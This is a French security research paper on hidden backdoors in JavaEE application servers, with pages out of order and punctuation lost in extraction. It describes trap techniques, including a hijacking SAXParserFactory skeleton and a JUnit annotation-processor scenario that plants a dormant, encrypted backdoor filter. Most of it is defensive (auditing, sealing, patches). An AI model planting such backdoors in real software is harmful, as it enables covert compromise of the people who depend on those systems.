Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 389

Les pieges sont des traitements caches executes a lrsquoinsu de lrsquoapplication Le codeapplicatif ou le serveur drsquoapplication nrsquoa pas a invoquer explicitement du code pourpermettre lrsquoexecution de traitements malveillants

Differentes techniques de pieges ont ete decouvertes lors de lrsquoetude Plusieursstrategies sont possibles pour les realiser

ndash Surcharge drsquoune classe ndash Ajout drsquoun fichier de parametrage ndash Exploitation des laquo services raquo ndash Exploitation de la programmation par aspects (AOP) ndash Exploitation drsquoun laquo Ressource Bundle raquo ndash Exploitation des annotations

22 Piege par laquo surcharge raquo

La surcharge drsquoune classe consiste a proposer plusieurs versions differentes de lameme classe dans des archives differentes En redefinissant une classe banale drsquounearchive le code du pirate sera execute a lrsquoinsu de lrsquoapplication

Java utilise un mecanisme de chargement dynamique des classes Une listedrsquoarchives (JARs) est consultee lors de la demande de chargement drsquoune classeLrsquoalgorithme installe le fichier class venant de la premiere archive etant capable delivrer le fichier de la classe Si lrsquoarchive ayant la classe modifiee est presente avantlrsquoarchive originale le pirate peut executer du code complementaire

Fig 1 Enchaınement de classes

Cette approche presente plusieurs inconvenients ndash Le code de la porte derobee est fortement dependant du code original ndash Il est difficile de deleguer les traitements sur lrsquooriginal Il faut alors recrire

lrsquooriginal pour simuler un comportement normal ndash La modification de lrsquooriginal peut entraıner le plantage de lrsquoapplication car la

copie nrsquoen tient pas compte

390 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash Lrsquoexecution nrsquoest pas garantie Cela depend de lrsquoordre de selection des archivespar la JVM

Cette approche est donc rejetee

23 Piege par laquo parametrage raquo

De nombreux frameworks utilisent des fichiers de parametrages indiquant desnoms de classes Certains recherchent des fichiers de parametres a differents endroitsdans les archives En placant un fichier de parametres dans un lieu prioritaire il estpossible drsquoexecuter du code

Piege du parametrage laquo Axis raquo Le premier exemple est le framework Axis de lafondation Apache Crsquoest un framework permettant lrsquoinvocation et la publication deservices Web Il recherche les fichiers de configuration dans lrsquoordre suivant (voir laclasse EngineConfigurationFactoryServlet)

ndash Fichier ltwarpathgtWEB-INFltparamwsddgtndash Ressource WEB-INFltparamwsddgt

ndash Ressource ltparamwsddgt

La presence du fichier dans WEB-INF drsquoune archive quelconque suffit a executerdu code lors de lrsquoinvocation du premier service Web Comme ces fichiers sont rarementmodifies par les projets il y a peu de chance qursquoil y ait un conflit avec une autrefonctionnalite du projet

Piege par parametrage de services Les specifications des JARs2 proposentdrsquoutiliser le repertoire META-INFservices pour signaler la presence de composantsa integrer Un fichier UTF-8 dont le nom est generalement le nom drsquoune interfacepossede une ligne de texte avec la classe proposee pour lrsquoimplementer

Jusqursquoau JDK5 cette technique nrsquoest pas outillee par des APIs du JDK Chaqueprojet desirant utiliser cette convention doit ecrire un code specifique Le JDK6 offreune nouvelle API

Generalement le programme demande la ou les ressources correspondant a uneclef Le fichier est lu et une instance de la classe indiquee est alors construite

Par exemple le framework commons-loggins de la fondation Apache utilise cetteconvention pour initialiser le LogFactory Lrsquoalgorithme de decouverte suit plusieursetapes

1 Recherche de la variable drsquoenvironnement orgapachecommonsloggingLog-

Factory

2 httpjavasuncomj2se13docsguidejarjarhtml

P Prados 391

2 Sinon recherche drsquoune ressource META-INFservicesorgapachecommonslog-gingLogFactory

3 Sinon lecture de la ressource commons-loggingproperties pour y trouver laclef orgapachecommonsloggingLogFactory

4 Sinon utilisation drsquoune valeur par defaut orgapachecommonsloggingim-plLogFactoryImpl

La deuxieme etape est la plus interessante pour le pirate en effet en diffusant unearchive avec ce fichier il est possible drsquoexecuter du code Ce dernier doit continuer leprocessus avec les etapes 2 a 4 pour rendre invisible sa presence

Drsquoautres frameworks standards utilisent la meme approche parmi lesquels ndash META-INFservicesjavaxxmlparsersSAXParserFactory

ndash META-INFservicesjavaxxmlparsersDocumentBuilderFactory

ndash META-INFservicesorgapacheaxisEngineConfigurationFactory

ndash Il est donc aise de publier ces fichiers pour injecter du comportement Par exemple

pour detourner lrsquoutilisation drsquoun analyseur SAX il faut en proposer un qui delegueses traitements vers le suivant

public static class MonSAXParserFactory

extends SAXParserFactory

private final SAXParserFactory next_

Calc next parser

private static SAXParserFactory getNextSAXParser ()

return

public SAXParserFactory ()

next_=protectctrSAXParser ()

Inject code here

public Schema getSchema ()

return next_getSchema ()

La seule presence du fichier META-INFservicesjavaxxmlparsersSAXParser-Factory contenant le nom de la classe drsquoimplementation MonSAXParserFactory

permet de detourner les traitements sans devoir beneficier de privileges particuliersLes portes drsquoentrees de ce type sont legions httpwwwgooglecomcodesearch

q=META-INF+providers

392 Porte derobee dans les serveurs drsquoapplications JavaEE

En positionnant plusieurs pieges equivalents la probabilite drsquoexecution de la portederobee est elevee

Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM enajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementiipar nos soins

